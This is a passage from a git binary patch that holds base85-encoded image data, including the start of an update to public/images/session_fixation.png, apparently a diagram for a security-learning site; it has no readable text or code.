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 DjUrDf diff --git a/public/images/session_fixation.png b/public/images/session_fixation.png index 6b084508db3efffd2a25f4f5846f137f34416726..e009484f094573564c27170077f04bea3b9ae275 100644 GIT binary patch literal 38296 zcmbrlXH-*N^FEvqNC<>T69WVcy+{c?bV3nSdQqfFkt!ffdQa#bks`fG5d}d(1vT`l zRHZkmN=F5h;{R|z<@bDhKfJDmYmsyI*|TS^nd_Q4Ax>XclZJ|g3IqbtT+>oF1cAt4 zAP~5k5(<1$*uRzu0zJBOO&xFS58iACL&LF*;fp@8MbzYT6Clb+=AM>G>8|at_;qp( z+P~d0U|_FtYG; zS^sU{otCiM3{a40oJXc8c7fh1hRn5i%*cMYfa4qV(d7IK0wpelfm*MZr{`$%KHc&S zYBYNm`uh2?{R>mdZqJTjrNaRS39)=##r?S}OM9k?SGfi~aEydjm5IjFtk4glf$s{| zeVYq(E0z}X?u@!OX*~VBZ<@*T_~Vm`VJCm>(Uxd2UYA!>g`bwav-a68MccHDN^VKA zrzrE4fH;V>s_TXM8P|C}KbXCc`*C%q(ajwd{pZ*&BG!F0EKi}mRGarly@kjJo5YZp zLK{ZnISM9>D+THx4^tGF6vLU;Gi&=I`*!X4Jfht{_oKrdx?$nB5mnWH)JG*990Uf?@XujX06WW}!@xPljxt|>Lo zpNqfv;Fy`2>CR_vYHIE6?JfE^Cnw-;VBljNU0v}P-Dd7;!+4I*f9gd}e zLcZ)AR*i4GaBsSiuNyP9CH=}w*hM;b%t_Mpot5Kfmq(BK?FAoQuhHk%e_^_uGq@&@ z)o&o3TdvL9Zdk?0^RTx$M~j=EDZxOJ#Xe1o*tUqJj#6brKm}+iQ|EUapE#%6ptQ#y zJaJ|bh;O@l`^nR%SA0D^@oQ^q3WJ|MO?>+%z;^jE!&eZ<69lU5X!XF|6NhX39k%Vc1uM3^n*GU8)xe!(gA@-DpHP2lfLg-6HR%VQ+wMK-7$>(NlorRUv znd6$f7b8U*Hre~5)dPiSu25D3F1&u}kt`J%z2(5j@lUwJ9nWgPfGgTk+K0Mr3JG@( zM~I)52cOc?!6K;$k~(zf5$J)$LPDg9I#txcbOtIm7=6@`t;*8~Oo_?`LdoZFCI}S- ze*qG~bpA`5iaE_sEUiH*4PoYA?)|DF&qq10$fy6$y4_A$dZeN!+`9h> 